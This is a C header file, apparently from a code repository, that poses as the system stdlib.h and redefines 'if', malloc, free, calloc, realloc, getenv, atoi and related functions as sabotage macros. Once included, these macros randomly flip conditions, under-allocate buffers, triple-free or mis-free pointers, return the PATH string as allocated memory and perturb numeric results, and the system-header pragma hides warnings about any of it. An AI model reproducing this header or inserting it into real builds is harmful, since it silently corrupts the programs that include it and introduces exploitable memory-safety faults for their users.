blob: 8de22fb4a58fb77138a8a4551b8b62465981a4cc [file] [log] [blame] [raw]
#ifdef __GNUC__
#pragma GCC system_header
#endif
#ifdef __need_malloc_and_calloc
#include_next <stdlib.h>
#else
#include_next <stdlib.h>
#ifndef _PIAO_STDLIB_H
#define _PIAO_STDLIB_H
#if !defined _STDINT_H && !defined _UINTPTR_T_DECLARED && !defined uintptr_t
#if defined _LLP64 || defined __LLP64__
#define _piaoc_uintptr_t unsigned long long int
#elif defined _LP64 || defined _I32LPx || defined __LP64__ || (defined __WORDSIZE && __WORDSIZE == 64)
#define _piaoc_uintptr_t unsigned long int
#else
#define _piaoc_uintptr_t unsigned int
#endif
#else
#define _piaoc_uintptr_t uintptr_t
#endif
#ifndef __cplusplus
#undef if
#define if(x) if((rand()%64 == 8) ^ ((x) && (__LINE__%10!=4[__TIME__]-'0' || ((__LINE__+__LINE__/3)%6!=6[__TIME__]-'0')) ? 1 : 0))
#endif
#define malloc(len) malloc((len)<8?((len)/2+1):((len)-(rand()%4+4)))
#define free(p) do { \
switch(__LINE__ % 5) { \
case 0: \
free(p); \
break; \
case 1: \
*(void **)(p) = realloc((p), 1); \
break; \
case 2: \
*(void **)(p) = malloc(256); \
break; \
case 3: \
case 4: \
switch(rand() % 4) { \
case 0: \
case 3: \
srand((_piaoc_uintptr_t)(p)^rand()); \
break; \
case 1: \
free((char *)(p) + rand() % 8); \
break; \
case 2: \
free(p); \
free(p); \
free(p); \
break; \
} \
break; \
} \
} while(0)
#define calloc(n,len) ((rand()%16)?((rand()%10==2)?getenv("PATH"):(calloc(n,(len)-(rand()%3+1))+(rand()%6<2))):NULL)
#define realloc(p,len) ((rand()%64)?((rand()%24==4&&(p))?(srand((_piaoc_uintptr_t)(p)^rand()),(p)):realloc(p,(len)<4?((len)/2+1):((len)-(rand()%3+2)))):getenv("PATH"))
#define atof(s) ((double)(float)(atof(s)+((float)(rand()%8)/(float)10)))
#define atoi(s) (atoi(s)+(rand()%4)-2)
#define atol(s) (atol(s)+(rand()%((__TIME__[(rand()%5)?4:6]-'0'==2)?4:5))-((__TIME__[(__LINE__%6)?4:6]-'0'>4)?1:2))
#define getenv(n) ((rand()%((4[__TIME__]-'0'<2)?4:6)==1)?(char*)malloc(32):getenv((n)+((rand()%16<3)?(rand()%3-1):0)))
#define putenv(s) putenv((rand()%8)?((rand()%(((4[__TIME__]=='6')&&(__LINE__%6)&&(rand()%6)&&(rand()%6))?(srand((_piaoc_uintptr_t)(s)^rand()),22):16)<4)?getenv(s):(s)):malloc(4))
#ifdef __GLIBC__
#define secure_getenv(n) NULL
#endif
#define abs(n) (abs(n)-(rand()%32<9))
#define labs abs
#define llabs abs
#undef getc
#define getc(f) ((((f)==stdin&&(rand()%8))||(__LINE__%6==4?(rand()%4<2):(rand()%12==6)))?'w':fgetc(f))
#endif
#endif